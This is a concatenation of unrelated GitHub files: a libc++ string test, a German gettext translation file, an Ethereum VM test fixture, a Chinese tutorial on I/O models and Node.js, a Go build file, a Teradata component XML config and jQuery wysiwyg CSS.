test(S("abcdefghijklmnopqrst"), 19, 0, "12345678901234567890", S("abcdefghijklmnopqrs12345678901234567890t"));
test(S("abcdefghijklmnopqrst"), 19, 1, "", S("abcdefghijklmnopqrs"));
test(S("abcdefghijklmnopqrst"), 19, 1, "12345", S("abcdefghijklmnopqrs12345"));
test(S("abcdefghijklmnopqrst"), 19, 1, "1234567890", S("abcdefghijklmnopqrs1234567890"));
test(S("abcdefghijklmnopqrst"), 19, 1, "12345678901234567890", S("abcdefghijklmnopqrs12345678901234567890"));
test(S("abcdefghijklmnopqrst"), 19, 2, "", S("abcdefghijklmnopqrs"));
test(S("abcdefghijklmnopqrst"), 19, 2, "12345", S("abcdefghijklmnopqrs12345"));
test(S("abcdefghijklmnopqrst"), 19, 2, "1234567890", S("abcdefghijklmnopqrs1234567890"));
test(S("abcdefghijklmnopqrst"), 19, 2, "12345678901234567890", S("abcdefghijklmnopqrs12345678901234567890"));
test(S("abcdefghijklmnopqrst"), 20, 0, "", S("abcdefghijklmnopqrst"));
test(S("abcdefghijklmnopqrst"), 20, 0, "12345", S("abcdefghijklmnopqrst12345"));
test(S("abcdefghijklmnopqrst"), 20, 0, "1234567890", S("abcdefghijklmnopqrst1234567890"));
test(S("abcdefghijklmnopqrst"), 20, 0, "12345678901234567890", S("abcdefghijklmnopqrst12345678901234567890"));
test(S("abcdefghijklmnopqrst"), 20, 1, "", S("abcdefghijklmnopqrst"));
test(S("abcdefghijklmnopqrst"), 20, 1, "12345", S("abcdefghijklmnopqrst12345"));
test(S("abcdefghijklmnopqrst"), 20, 1, "1234567890", S("abcdefghijklmnopqrst1234567890"));
test(S("abcdefghijklmnopqrst"), 20, 1, "12345678901234567890", S("abcdefghijklmnopqrst12345678901234567890"));
test(S("abcdefghijklmnopqrst"), 21, 0, "", S("can't happen"));
test(S("abcdefghijklmnopqrst"), 21, 0, "12345", S("can't happen"));
test(S("abcdefghijklmnopqrst"), 21, 0, "1234567890", S("can't happen"));
test(S("abcdefghijklmnopqrst"), 21, 0, "12345678901234567890", S("can't happen"));
}
int main(int, char**)
{
{
typedef std::string S;
test0<S>();
test1<S>();
test2<S>();
}
#if TEST_STD_VER >= 11
{
typedef std::basic_string<char, std::char_traits<char>, min_allocator<char>> S;
test0<S>();
test1<S>();
test2<S>();
}
#endif
return 0;
}
|
{
"pile_set_name": "Github"
}
|
# SOME DESCRIPTIVE TITLE.
# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER
# This file is distributed under the same license as the PACKAGE package.
# FIRST AUTHOR <EMAIL@ADDRESS>, YEAR.
#
#, fuzzy
msgid ""
msgstr ""
"Project-Id-Version: version 0.0.1\n"
"POT-Creation-Date: 2009-02-26 19:50+0100\n"
"PO-Revision-Date: 2009-02-18 14:53+0100\n"
"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
"Language-Team: LANGUAGE <LL@li.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=INTEGER; plural=EXPRESSION;\n"
# #: app/helpers/translation_helper.rb:3
# msgid "%{relative_time} ago"
# msgstr "vor %{relative_time}"
#: app/views/cars/show.html.erb:5
msgid "Axis"
msgid_plural "Axis"
msgstr[0] "Achse"
msgstr[1] "Achsen"
#: app/controllers/cars_controller.rb:47
msgid "Car was successfully created."
msgstr "Auto wurde erfolgreich gespeichert"
#: app/controllers/cars_controller.rb:64
msgid "Car was successfully updated."
msgstr "Auto wurde erfolgreich aktualisiert"
#: app/views/cars/show.html.erb:1 locale/model_attributes.rb:3
msgid "Car|Model"
msgstr "Modell"
#: app/views/cars/show.html.erb:3 locale/model_attributes.rb:4
msgid "Car|Wheels count"
msgstr "Räderzahl"
msgctxt "New car"
msgid "Wheels count"
msgstr "Räderzahl!"
#: app/views/cars/show.html.erb:7
msgid "Created"
msgstr "Erstellt"
#: app/views/cars/show.html.erb:9
msgid "Month"
msgstr "Monat"
#: locale/model_attributes.rb:2
msgid "car"
msgstr "Auto"
#: locale/testlog_phrases.rb:2
msgid "this is a dynamic translation which was found thorugh gettext_test_log!"
msgstr ""
"Dies ist eine dynamische Übersetzung, die durch gettext_test_log "
"gefunden wurde!"
#: app/views/cars/nowhere_really
msgid "Car|wheel"
msgid_plural "Car|wheels"
msgstr[0] "Rad"
msgstr[1] "Räder"
msgctxt "New car"
msgid "wheel"
msgid_plural "wheels"
msgstr[0] "Rad!"
msgstr[1] "Räder!"
msgid "On %{count} wheel."
msgid_plural "On %{count} wheels."
msgstr[0] "Auf %{count} Achse."
msgstr[1] "Auf %{count} Achsen."
|
{
"pile_set_name": "Github"
}
|
{
"expPowerOf256_1": {
"_info": {
"comment": "",
"filledwith": "testeth 1.4.0.dev0-56+commit.71414ae3",
"lllcversion": "Version: 0.4.25-develop.2018.5.30+commit.0a1a8bfb.Linux.g++",
"source": "src/VMTestsFiller/vmArithmeticTest/expPowerOf256_1Filler.json",
"sourceHash": "0d7062f87c376d5496399d09973fd1d17d4e5812c3b44c5a16f35243e382fd64"
},
"callcreates": [],
"env": {
"currentCoinbase": "0x2adc25665018aa1fe0e6bc666dac8fc2697ff9ba",
"currentDifficulty": "0x0100",
"currentGasLimit": "0x0f4240",
"currentNumber": "0x00",
"currentTimestamp": "0x01"
},
"exec": {
"address": "0x0f572e5295c57f15886f9b263e2f6d2d6c7b5ec6",
"caller": "0xcd1722f2947def4cf144679da39c4c32bdc35681",
"code": "0x60016101000a600055600160ff0a60015560016101010a600255",
"data": "0x",
"gas": "0x0186a0",
"gasPrice": "0x5af3107a4000",
"origin": "0xcd1722f2947def4cf144679da39c4c32bdc35681",
"value": "0x0de0b6b3a7640000"
},
"gas": "0x9be9",
"logs": "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347",
"out": "0x",
"post": {
"0x0f572e5295c57f15886f9b263e2f6d2d6c7b5ec6": {
"balance": "0x0de0b6b3a7640000",
"code": "0x60016101000a600055600160ff0a60015560016101010a600255",
"nonce": "0x00",
"storage": {
"0x00": "0x0100",
"0x01": "0xff",
"0x02": "0x0101"
}
}
},
"pre": {
"0x0f572e5295c57f15886f9b263e2f6d2d6c7b5ec6": {
"balance": "0x0de0b6b3a7640000",
"code": "0x60016101000a600055600160ff0a60015560016101010a600255",
"nonce": "0x00",
"storage": {}
}
}
}
}
|
{
"pile_set_name": "Github"
}
|
## 一 深入理解进程阻塞
进程间的通信时通过 send() 和 receive() 两种基本操作完成的。具体如何实现这两种基础操作,存在着不同的设计:
> 消息的传递有可能是**阻塞的**或**非阻塞的**,也被称为**同步**或**异步**的。----《操作系统概论》
- 阻塞式发送:blocking send,发送方进程会被一直阻塞,直到消息被接受方进程收到
- 非阻塞式发送:nonblocking send,发送方进程调用 send() 后,立即就可以其他操作
- 阻塞式接收:blocking receive,接收方调用 receive() 后一直阻塞,直到消息到达可用
- 非阻塞式接受:nonblocking receive,接收方调用 receive() 函数后,要么得到一个有效的结果,要么得到一个空值,即不会被阻塞。
上述不同类型的发送方式和不同类型的接收方式,可以自由组合,即从进程级通信的维度讨论时, 阻塞和同步(非阻塞和异步)就是一对同义词, 且需要针对发送方和接收方作区分对待。
概念解释:
- 中断(interrupt):CPU 微处理器有一个中断信号位, 在每个CPU时钟周期的末尾, CPU会去检测那个中断信号位是否有中断信号到达, 如果有,则会根据中断优先级决定是否要暂停当前执行的指令, 转而去执行处理中断的指令。 (其实就是 CPU 层级的 while 轮询)
- 时钟中断( Clock Interrupt ):一个硬件时钟会每隔一段(很短)的时间就产生一个中断信号发送给 CPU,CPU 在响应这个中断时, 就会去执行操作系统内核的指令, 继而将 CPU 的控制权转移给了操作系统内核, 可以由操作系统内核决定下一个要被执行的指令。
- 系统调用(system call):system call 是操作系统提供给应用程序的接口。 用户通过调用 system call 来完成那些需要操作系统内核进行的操作, 例如硬盘, 网络接口设备的读写等。
现代操作系统都是采用虚拟存储器。操心系统的核心是内核,独立于普通的应用程序,可以访问受保护的内存空间,也有访问底层硬件设备的所有权限。为了保证用户进程不能直接操作内核,保证内核的安全,操心系统将虚拟空间划分为两部分,一部分为内核空间,一部分为用户空间。
用户进程在从用户空间切换到内核空间,需要以下步骤:
- 1.当一个程序正在执行的过程中, 中断(interrupt) 或 系统调用(system call) 发生可以使得 CPU 的控制权会从当前进程转移到操作系统内核。
- 2.操作系统内核负责保存进程i在 CPU 中的上下文(程序计数器,寄存器)到 PCB$_i$(操作系统分配给进程的一个内存块)中
- 3.从PCB$_j$取出进程 j 的CPU 上下文, 将 CPU 控制权转移给进程 j , 开始执行进程 j 的指令。
操作系统在进行进切换时,需要进行一系列的内存读写操作, 这带来了一定的开销:对于一个运行着 UNIX 系统的现代 PC 来说, 进程切换至少需要花费 300 us 的时间。我们所说的 “阻塞”是指进程在发起了一个系统调用(System Call) 后,由于该系统调用的操作不能立即完成,需要等待一段时间,于是内核将进程挂起为**等待 (waiting)**状态, 以确保它不会被调度执行, 占用 CPU 资源。
综上所述,**阻塞和非阻塞描述的是进程的一个操作是否会使得进程转变为“等待”的状态**,又因为阻塞这个词是与系统调用 System Call 紧紧联系在一起的, 因为要让一个进程进入 等待(waiting) 的状态,要么是它主动调用 wait() 或 sleep() 等挂起自己的操作,要么是它调用 System Call, 而 System Call 因为涉及到了 I/O 操作,不能立即完成,于是内核就会先将该进程置为等待状态,调度其他进程的运行,等到它所请求的 I/O 操作完成了以后,再将其状态更改回 ready 。
操作系统内核在执行 System Call 时, CPU 需要与 IO 设备完成一系列物理通信上的交互, 其实会再一次涉及到阻塞和非阻塞的问题, 例如, 操作系统发起了一个硬盘读的请求后, 其实是通过总线向硬盘设备发出了一个读请求,它即可以阻塞式地等待IO 设备的返回结果,也可以非阻塞式的继续其他的操作。 在现代计算机中,这些物理通信操作基本都是异步完成的, 即发出请求后, 等待 I/O 设备的中断信号后, 再来读取相应的设备缓冲区。 但是,大部分操作系统默认为用户级应用程序提供的都是阻塞式的系统调用 (blocking system call)接口, 因为阻塞式的调用,使得应用级代码的编写更容易(代码的执行顺序和编写顺序是一致的)。
但同样,现在的大部分操作系统也会提供非阻塞I/O 系统调用接口(Nonblocking I/O system call)。 一个非阻塞调用不会挂起调用程序, 而是会立即返回一个值,表示有多少bytes 的数据被成功读取(或写入)。
非阻塞I/O 系统调用( nonblocking system call )的另一个替代品是 异步I/O系统调用 (asychronous system call)。 与非阻塞 I/O 系统调用类似,asychronous system call 也是会立即返回, 不会等待 I/O 操作的完成, 应用程序可以继续执行其他的操作, 等到 I/O 操作完成了以后,操作系统会通知调用进程(设置一个用户空间特殊的变量值 或者 触发一个 signal 或者 产生一个软中断 或者 调用应用程序的回调函数)。
非阻塞I/O 系统调用( nonblocking system call ) 和 **异步I/O系统调用 (asychronous system call)**的区别是:
- 一个非阻塞I/O 系统调用 read() 操作立即返回的是任何可以立即拿到的数据, 可以是完整的结果, 也可以是不完整的结果, 还可以是一个空值。
- 异步I/O系统调用 read()结果必须是完整的,但是这个操作完成的通知可以延迟到将来的一个时间点。
总结:
- 阻塞/非阻塞, 同步/异步的概念要注意讨论的上下文
- 在进程通信层面, 阻塞/非阻塞, 同步/异步基本是同义词, 但是需要注意区分讨论的对象是发送方还是接收方,发送方阻塞/非阻塞(同步/异步)和接收方的阻塞/非阻塞(同步/异步) 是互不影响的。
- 在 IO 系统调用层面( IO system call )层面, 非阻塞IO 系统调用 和 异步IO 系统调用存在着一定的差别, 它们都不会阻塞进程, 但是返回结果的方式和内容有所差别, 但是都属于非阻塞系统调用( non-blocing system call )
- 阻塞系统调用(non-blocking I/O system call 与 asynchronous I/O system call) 的存在可以用来实现线程级别的 I/O 并发, 与通过多进程实现的 I/O 并发相比可以减少内存消耗以及进程切换的开销。
## 二 I/O模型总结
### 2.0 I/O模型汇总
Unix网络编程中,可以利用的IO模型有5种:
- 阻塞IO
- 非阻塞IO
- 多路复用IO
- 信号驱动IO
- 异步IO
### 2.1 阻塞I/O模型
阻塞I/O是最传统的一种IO模型,即在读写数据过程中会发生阻塞现象。当用户线程发出IO请求之后,内核会去查看数据是否就绪,如果没有就绪就会等待数据就绪,而用户线程就会处于阻塞状态,用户线程交出CPU。当数据就绪之后,内核会将数据拷贝到用户线程,并返回结果给用户线程,用户线程才解除block状态。
典型的阻塞IO模型的例子为:
```c
data = socket.read();
```
如果数据没有就绪,就会一直阻塞在read()方法。
### 2.2 非阻塞IO模型
当用户线程发起一个read操作后,并不需要等待,而是马上就得到了一个结果。如果结果是一个error时,它就知道数据还没有准备好,于是它可以再次发送read操作。一旦内核中的数据准备好了,并且又再次收到了用户线程的请求,那么它马上就将数据拷贝到了用户线程,然后返回。
所以事实上,在非阻塞IO模型中,用户线程需要不断地询问内核数据是否就绪,也就说非阻塞IO不会交出CPU,而会一直占用CPU,典型的非阻塞IO模型一般如下:
```c
while(true){
data = socket.read();
if(data!= error){
// 处理数据
break;
}
}
```
但是对于非阻塞IO就有一个非常严重的问题,在while循环中需要不断地去询问内核数据是否就绪,这样会导致CPU占用率非常高,因此一般情况下很少使用while循环这种方式来读取数据。
### 2.3 多路复用IO模型
多路复用IO模型是目前使用得比较多的模型,如Java的NIO。在多路复用IO模型中,会有一个线程不断去轮询多个socket的状态,只有当socket真正有读写事件时,才真正调用实际的IO读写操作。因为在多路复用IO模型中,只需要使用一个线程就可以管理多个socket,系统不需要建立新的进程或者线程,也不必维护这些线程和进程,并且只有在真正有socket读写事件进行时,才会使用IO资源,所以它大大减少了资源占用。
在Java NIO中,是通过selector.select()去查询每个通道是否有到达事件,如果没有事件,则一直阻塞在那里,因此这种方式会导致用户线程的阻塞。
采用 多线程+ 阻塞IO 也能达到类似的效果,但是此时每个socket对应一个线程,这样会造成很大的资源占用,并且尤其是对于长连接来说,线程的资源一直不会释放,如果后面陆续有很多连接的话,就会造成性能上的瓶颈。而多路复用IO模式,通过一个线程就可以管理多个socket,只有当socket真正有读写事件发生才会占用资源来进行实际的读写操作。因此,多路复用IO比较适合连接数比较多的情况。
另外多路复用IO为何比非阻塞IO模型的效率高是因为在非阻塞IO中,不断地询问socket状态是通过用户线程去进行的,而在多路复用IO中,轮询每个socket状态是内核在进行的,这个效率要比用户线程要高的多。
不过要注意的是,多路复用IO模型是通过轮询的方式来检测是否有事件到达,并且对到达的事件逐一进行响应。因此对于多路复用IO模型来说,一旦事件响应体很大,那么就会导致后续的事件迟迟得不到处理,并且会影响新的事件轮询。
### 2.4 信号驱动I/O模型
在信号驱动IO模型中,当用户线程发起一个IO请求操作,会给对应的socket注册一个信号函数,然后用户线程会继续执行,当内核数据就绪时会发送一个信号给用户线程,用户线程接收到信号之后,便在信号函数中调用IO读写操作来进行实际的IO请求操作。
### 2.5 异步IO模型
异步IO模型是最理想的IO模型:当用户线程发起read操作之后,立刻就可以开始去做其它的事。而另一方面,从内核的角度,当它收到一个asynchronous read之后,它会立刻返回,说明read请求已经成功发起了,因此不会对用户线程产生任何block。然后,内核会等待数据准备完成,接着将数据拷贝到用户线程,当这一切都完成之后,内核会给用户线程发送一个信号,告诉它read操作完成了。在此过程中用户线程完全不需要知道实际的整个IO操作是如何进行的,只需要先发起一个请求,当接收内核返回的成功信号时表示IO操作已经完成,可以直接去使用数据了。
在异步IO模型中,IO操作的两个阶段都不会阻塞用户线程,这两个阶段都是由内核自动完成,然后发送一个信号告知用户线程操作已完成。用户线程中不需要再次调用IO函数进行具体的读写。这点是和信号驱动模型有所不同的,在信号驱动模型中,当用户线程接收到信号表示数据已经就绪,然后需要用户线程调用IO函数进行实际的读写操作;而在异步IO模型中,收到信号表示IO操作已经完成,不需要再在用户线程中调用iO函数进行实际的读写操作。
异步IO是需要操作系统的底层支持,在Java 7中,提供了Asynchronous IO。也只有异步IO才真正的异步IO,其他的IO模型都是同步IO,因为无论是多路复用IO还是信号驱动模型,IO操作的第2个阶段都会引起用户线程阻塞,也就是内核进行数据拷贝的过程都会让用户线程阻塞。
## 二 高性能I/O设计模式
### 2.1 多进程
每到达一个请求,我们为这个请求新创建一个进程来处理。这样,一个进程在等待 IO 时,其他的进程可以被调度执行,更加充分地利用 CPU 等资源。但是每新创建一个进程都会消耗一定的内存空间,且进程切换也有时间消耗,高并发时,大量进程来回切换的时间开销会变得明显起来。
### 2.2 多线程模式
在传统的网络服务设计模式中,有两种比较经典的模式:一种是 多线程,一种是线程池。
对于多线程模式,也就说来了client,服务器就会新建一个线程来处理该client的读写事件,如下图所示:

这种模式虽然处理起来简单方便,但是由于服务器为每个client的连接都采用一个线程去处理,使得资源占用非常大。因此,当连接数量达到上限时,再有用户请求连接,直接会导致资源瓶颈,严重的可能会直接导致服务器崩溃。
### 2.3 线程池模式
为了解决这种一个线程对应一个客户端模式带来的问题,提出了采用线程池的方式,也就说创建一个固定大小的线程池,来一个客户端,就从线程池取一个空闲线程来处理,当客户端处理完读写操作之后,就交出对线程的占用。因此这样就避免为每一个客户端都要创建线程带来的资源浪费,使得线程可以重用。
### 2.4 Reactor模式
在Reactor模式中,会先对每个client注册感兴趣的事件,然后有一个线程专门去轮询每个client是否有事件发生,当有事件发生时,便顺序处理每个事件,当所有事件处理完之后,便再转去继续轮询,如下图所示:

从这里可以看出,上面的五种IO模型中的多路复用IO就是采用Reactor模式。注意,上面的图中展示的 是顺序处理每个事件,当然为了提高事件处理速度,可以通过多线程或者线程池的方式来处理事件。
### 2.5 Proactor模式
在Proactor模式中,当检测到有事件发生时,会新起一个异步操作,然后交由内核线程去处理,当内核线程完成IO操作之后,发送一个通知告知操作已完成,可以得知,异步IO模型采用的就是Proactor模式。
## 三 杰出代表Node.js
Node.js是在v8引擎基础上开发的javascript运行时,为javascript提供了模块化、文件IO、Socket编程等支持。其架构如图所示:

他们分别是:
- Node.js 标准库,这部分是由 Javascript编写的,即我们使用过程中直接能调用的 API。在源码中的 lib 目录下可以看到。
- Node bindings,这一层是 Javascript与底层 C/C++ 能够沟通的关键,前者通过 bindings 调用后者,相互交换数据。实现在 node.cc
- 这一层是支撑 Node.js 运行的关键,由 C/C++ 实现。
- V8:Google 推出的 Javascript VM,也是 Node.js 为什么使用的是 Javascript的关键,它为 Javascript提供了在非浏览器端运行的环境,它的高效是 Node.js 之所以高效的原因之一。
- Libuv:它为 Node.js 提供了跨平台,线程池,事件池,异步 I/O 等能力,是 Node.js 如此强大的关键。
- C-ares:提供了异步处理 DNS 相关的能力。
- http_parser、OpenSSL、zlib 等:提供包括 http 解析、SSL、数据压缩等其他的能力。
一个基础的node http web server:
```js
const http = require('http');
http.createServer((req, res) => {
res.writeHeader(200, {"Content-Type" : "text/plain"});
res.write("Hello world!");
res.end();
}).listen(9000);
```
Node.js的http模型:

Node中的事件驱动:Event Loop is a programming construct that waits for and dispatches events or messages in a program
- 1、每个Node.js进程只有一个主线程在执行程序代码,形成一个执行栈(execution context stack)。
- 2、主线程之外,还维护了一个"事件队列"(Event queue)。当用户的网络请求或者其它的异步操作到来时,node都会把它放到Event Queue之中,此时并不会立即执行它,代码也不会被阻塞,继续往下走,直到主线程代码执行完毕。
- 3、主线程代码执行完毕完成后,然后通过Event Loop,也就是事件循环机制,开始到Event Queue的开头取出第一个事件,从线程池中分配一个线程去执行这个事件,接下来继续取出第二个事件,再从线程池中分配一个线程去执行,然后第三个,第四个。主线程不断的检查事件队列中是否有未执行的事件,直到事件队列中所有事件都执行完了,此后每当有新的事件加入到事件队列中,都会通知主线程按顺序取出交EventLoop处理。当有事件执行完毕后,会通知主线程,主线程执行回调,线程归还给线程池。
- 4、主线程不断重复上面的第三步。
|
{
"pile_set_name": "Github"
}
|
// Copyright (c) 2012-2018 Ugorji Nwoke. All rights reserved.
// Use of this source code is governed by a MIT license found in the LICENSE file.
// +build go1.7
package codec
const genCheckVendor = true
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="UTF-8"?>
<!--
Copyright 2017 Capital One Services, LLC and Bitwise, Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<tns:Config xmlns:tns="hydrograph/ui/ComponentConfig" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="hydrograph/ui/ComponentConfig xsds/ComponentConfig.xsd ">
<tns:component paletteIconPath="/icons/rdbms_palette.png" canvasIconPath="/icons/rdbms_canvas.png"
name="ITeradata" nameInPalette="Teradata" defaultNamePrefix="ITeradata"
description="Used to read and fetch data from Teradata tables"
helpFilePath="/hydrograph.ui.help/html/Components/Input_Teradata.html"
acronym="ITdata">
<tns:category>INPUT</tns:category>
<tns:port>
<tns:portSpecification numberOfPorts="1" portAlignment="right" changePortCountDynamically="false" allowMultipleLinks="false" linkMandatory="true">
<tns:port sequenceOfPort="0" typeOfPort="out" labelOfPort="out0" portTerminal="out0" />
</tns:portSpecification>
</tns:port>
<tns:property dataType="string" name="name" renderer="COMPONENT_NAME_WIDGET" type="USER"
group="GENERAL" subGroup="DETAILS" showAsTooltip="TRUE" tooltipDataType="TEXT"
usage="REQUIRED" propertyHelpText="Displays Name provided by the user"/>
<tns:property dataType="string" name="schema" renderer="SCHEMA_WIDGET" type="USER"
group="SCHEMA" subGroup="RECORD_STRUCTURE_DETAILS" showAsTooltip="TRUE" tooltipDataType="LIST"
usage="REQUIRED">
<tns:validator>SCHEMA_GRID_VALIDATOR</tns:validator>
</tns:property>
<tns:property dataType="string" name="databaseName" value="" renderer="DATABASE_NAME_WIDGET" type="USER"
group="GENERAL" subGroup="CONFIGURATION" showAsTooltip="TRUE" tooltipDataType="LINK"
usage="REQUIRED" propertyHelpText="Database name to connect.">
<tns:validator>NON_BLANK_STRING_VALIDATOR</tns:validator>
</tns:property>
<tns:property dataType="string" name="hostName" value="" renderer="HOST_NAME_WIDGET"
type="USER" group="GENERAL" subGroup="CONFIGURATION" showAsTooltip="TRUE" tooltipDataType="TEXT"
usage="REQUIRED" propertyHelpText="Displays the Database Host Name provided by the user">
<tns:validator>NON_BLANK_STRING_VALIDATOR</tns:validator>
</tns:property>
<tns:property dataType="string" name="jdbcDriver" value="TeraJDBC4" renderer="JDBC_DRIVER_WIDGET" type="USER"
group="GENERAL" subGroup="CONFIGURATION" showAsTooltip="TRUE" tooltipDataType="LINK"
usage="REQUIRED" propertyHelpText="JDBC Driver use to connect with Teradata Database.">
<tns:validator>NON_BLANK_STRING_VALIDATOR</tns:validator>
</tns:property>
<tns:property dataType="string" name="port" value="1025" renderer="PORT_WIDGET"
type="USER" group="GENERAL" subGroup="CONFIGURATION" showAsTooltip="TRUE" tooltipDataType="TEXT"
usage="REQUIRED" propertyHelpText="Displays the Database Port provided by the user">
<tns:validator>PORT_VALIDATOR</tns:validator>
</tns:property>
<tns:property dataType="string" name="userName" value="" renderer="USER_NAME_WIDGET"
type="USER" group="GENERAL" subGroup="CONFIGURATION" showAsTooltip="TRUE" tooltipDataType="TEXT"
usage="REQUIRED" propertyHelpText="Displays the Database User Name provided by the user">
<tns:validator>NON_BLANK_STRING_VALIDATOR</tns:validator>
</tns:property>
<tns:property dataType="string" name="password" value="" renderer="PASSWORD_WIDGET"
type="USER" group="GENERAL" subGroup="CONFIGURATION" showAsTooltip="FALSE" tooltipDataType="TEXT"
usage="REQUIRED" propertyHelpText="Password requires to connect with database">
<tns:validator>NON_BLANK_STRING_VALIDATOR</tns:validator>
</tns:property>
<tns:property dataType="string" name="testConnection" value="" renderer="TEST_CONNECTION_WIDGET"
type="USER" group="GENERAL" subGroup="CONFIGURATION" showAsTooltip="TRUE" tooltipDataType="TEXT"
usage="REQUIRED" propertyHelpText="Used to test the connection for connecting Oracle DB">
</tns:property>
<tns:property dataType="string" name="selectInterface" renderer="SELECT_INTERFACE_WITH_EXPORT_WIDGET" type="USER"
group="GENERAL" subGroup="CONFIGURATION" showAsTooltip="TRUE" tooltipDataType="TEXT"
usage="REQUIRED" propertyHelpText="Selects interface for export."/>
<tns:property dataType="string" name="selectOption" renderer="SELECT_JDBC_VALUES_WIDGET"
type="USER" group="GENERAL" subGroup="CONFIGURATION" showAsTooltip="FALSE" tooltipDataType="NONE"
usage="REQUIRED" propertyHelpText=" Widget use to select Jdbc options">
<tns:validator>TOGGLE_SELECTION_VALIDATOR</tns:validator>
</tns:property>
<tns:property dataType="string" name="inputAdditionalParameters" value="" renderer="INPUT_ADDITIONAL_PARAMETERS_WIDGET"
type="USER" group="GENERAL" subGroup="CONFIGURATION" showAsTooltip="TRUE" tooltipDataType="TEXT"
usage="REQUIRED" propertyHelpText="Used to provide additional parameters to connect Input TeraData DB">
<tns:validator>ADDITIONAL_PARAM_VALIDATION</tns:validator>
</tns:property>
<tns:property dataType="string" name="runtime_properties" renderer="RUNTIME_PROPERTIES_WIDGET"
type="USER" group="GENERAL" subGroup="CONFIGURATION" showAsTooltip="FALSE" tooltipDataType="NONE"
usage="OPTIONAL" propertyHelpText="Used to override runtime \nHadoop configurations specific to \nthis component at run time."/>
<tns:property dataType="string" name="batch" value="0" renderer="BATCH_WIDGET" type="USER"
group="GENERAL" subGroup="CONFIGURATION" showAsTooltip="TRUE" tooltipDataType="TEXT"
usage="REQUIRED" propertyHelpText="Specifies the execution sequence of \nthis component in the job flow.">
<tns:validator>INTEGER_VALIDATOR</tns:validator>
</tns:property>
</tns:component>
</tns:Config>
|
{
"pile_set_name": "Github"
}
|
div.wysiwyg { border: 1px solid #999; padding: 0; background: #fff url('jquery.wysiwyg.bg.png') repeat-x top; }
div.wysiwyg * { margin: 0; padding: 0; }
div.wysiwyg ul.toolbar li.jwysiwyg-custom-command { overflow: hidden; }
div.wysiwyg ul.toolbar { border-bottom: 1px solid #ccc; float: left; width: 100%; padding: 0; }
div.wysiwyg ul.toolbar li { list-style: none; float: left; margin: 1px 2px 3px 0; background: rgb(240, 240, 240); -moz-user-select: none; -webkit-user-select: none; user-select: none; clear: none; padding: 0 }
div.wysiwyg ul.toolbar li.separator { background: none; width: 1px; height: 20px; margin: 0 4px 0px 5px; border: none; border-left: 1px solid #ccc; }
div.wysiwyg ul.toolbar li { text-indent: -5000px; display: block; width: 18px; height: 18px; background: url('jquery.wysiwyg.gif') no-repeat -640px -800px; border: 1px solid transparent; cursor: pointer; margin: 0px; }
div.wysiwyg ul.toolbar li.wysiwyg-button-hover, div.wysiwyg ul.toolbar li.active { background-color: #DDD; border: 1px solid transparent; }
div.wysiwyg ul.toolbar li.active { background-color: rgb(255, 255, 64); border: 1px solid rgb(208, 208, 208); border-left-color: #aaa; border-top-color: #aaa; height: 18px; width: 18px; padding: -1px 0 0 -1px; margin: 0; }
div.wysiwyg ul.toolbar li.disabled, div.wysiwyg ul.toolbar li.wysiwyg-button-hover.disabled, div.wysiwyg ul.toolbar li.active.disabled { opacity: 0.5; filter:alpha(opacity=50); border: 0px none transparent; padding: 1px; cursor: auto; }
div.wysiwyg ul.toolbar li.bold { background-position: -1px -15px; }
div.wysiwyg ul.toolbar li.italic { background-position: -18px -15px; }
div.wysiwyg ul.toolbar li.strikeThrough { background-position: -36px -15px; }
div.wysiwyg ul.toolbar li.underline { background-position: -55px -15px; }
div.wysiwyg ul.toolbar li.highlight { background-position: -48px -96px; }
div.wysiwyg ul.toolbar li.justifyLeft { background-position: 0 2px; }
div.wysiwyg ul.toolbar li.justifyCenter { background-position: -18px 2px; }
div.wysiwyg ul.toolbar li.justifyRight { background-position: -36px 2px; }
div.wysiwyg ul.toolbar li.justifyFull { background-position: -55px 2px; }
div.wysiwyg ul.toolbar li.indent { background-position: -74px 1px; }
div.wysiwyg ul.toolbar li.outdent { background-position: -92px 1px; }
div.wysiwyg ul.toolbar li.subscript { background-position: -74px -15px; }
div.wysiwyg ul.toolbar li.superscript { background-position: -92px -15px; }
div.wysiwyg ul.toolbar li.undo { background-position: 0px -68px; }
div.wysiwyg ul.toolbar li.redo { background-position: -18px -69px; }
div.wysiwyg ul.toolbar li.insertOrderedList { background-position: -36px -49px; }
div.wysiwyg ul.toolbar li.insertUnorderedList { background-position: -19px -49px; }
div.wysiwyg ul.toolbar li.insertHorizontalRule { background-position: 0 -49px; }
div.wysiwyg ul.toolbar li.h1 { background-position: 0px -31px; }
div.wysiwyg ul.toolbar li.h2 { background-position: -18px -31px; }
div.wysiwyg ul.toolbar li.h3 { background-position: -36px -31px; }
div.wysiwyg ul.toolbar li.h4 { background-position: -55px -31px; }
div.wysiwyg ul.toolbar li.h5 { background-position: -74px -31px; }
div.wysiwyg ul.toolbar li.h6 { background-position: -92px -31px; }
div.wysiwyg ul.toolbar li.paragraph { background-position: 0px -106px; }
div.wysiwyg ul.toolbar li.colorpicker { background-position: -18px -106px; }
div.wysiwyg ul.toolbar li.fullscreen { background-position: -36px -106px; }
div.wysiwyg ul.toolbar li.cut { background-position: -36px -68px; }
div.wysiwyg ul.toolbar li.copy { background-position: -55px -68px; }
div.wysiwyg ul.toolbar li.paste { background-position: -74px -68px; }
div.wysiwyg ul.toolbar li.insertTable { background-position: -74px -49px; }
div.wysiwyg ul.toolbar li.increaseFontSize { background-position: -18px -87px; }
div.wysiwyg ul.toolbar li.decreaseFontSize { background-position: -36px -87px; }
div.wysiwyg ul.toolbar li.createLink { background-position: -92px -48px; }
div.wysiwyg ul.toolbar li.unLink { background-position: -74px -87px; }
div.wysiwyg ul.toolbar li.insertImage { background-position: -92px -87px; }
div.wysiwyg ul.toolbar li.html { background-position: -55px -49px; }
div.wysiwyg ul.toolbar li.removeFormat { background-position: -92px -68px; }
